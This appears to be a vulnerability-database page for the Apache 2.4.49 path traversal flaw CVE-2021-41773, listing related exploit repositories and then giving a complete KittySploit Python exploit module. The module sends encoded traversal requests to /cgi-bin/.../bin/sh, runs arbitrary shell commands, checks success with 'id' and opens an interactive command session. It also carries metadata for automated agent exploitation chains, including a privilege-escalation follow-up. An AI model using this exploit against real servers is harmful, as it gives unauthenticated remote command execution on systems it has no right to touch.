Apache HTTP Server 2.4.49 - CGI Path Traversal RCE (CVE-2021-41773)
| Reporter | Title | Published | Views | Family All 460 |
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| Exploit for Path Traversal in Apache Http_Server | 12 Mar 202221:24 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 7 Oct 202112:30 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 7 Oct 202100:14 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 17 Jun 202213:36 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 14 Mar 202204:08 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 31 Mar 202201:48 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 26 Oct 202117:56 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 4 Apr 202222:07 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 18 Mar 202617:59 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 31 Oct 202510:34 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache HTTP Server 2.4.49 CGI path-traversal RCE (CVE-2021-41773) — opens execute session."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Apache HTTP Server 2.4.49 - CGI Path Traversal RCE (CVE-2021-41773)',
'description': (
'Exploits CVE-2021-41773 by POSTing shell commands to an encoded path ending '
'in bin/sh under a mapped Alias/ScriptAlias (cgi-bin/icons). Opens an interactive '
'execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-41773'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://httpd.apache.org/security/vulnerabilities_24.html',
'https://nvd.nist.gov/vuln/detail/CVE-2021-41773',
],
'tags': ['apache', 'httpd', 'rce', 'path-traversal', 'unauth', 'kev', 'cve-2021-41773'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2021_41773_detect',
],
},
},
}
cgi_prefix = OptString('/cgi-bin', 'Mapped Alias/ScriptAlias prefix', required=False)
def _sh_path(self) -> str:
prefix = str(self.cgi_prefix or '/cgi-bin').rstrip('/')
trav = '/.%2e/' + ('%2e%2e/' * 7)
return f'{prefix}{trav}bin/sh'
def execute(self, cmd: str) -> str:
safe = str(cmd).replace('\r', '').replace('\n', ';')
r = self.http_request(
method='POST',
path=self._sh_path(),
data=f'A=|echo;{safe}',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2021-41773 confirmed: id via CGI bin/sh',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'No command output observed (needs ScriptAlias + cgi)',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 24.3
CVSS 3.17.5 - 9.8
EPSS0.99992
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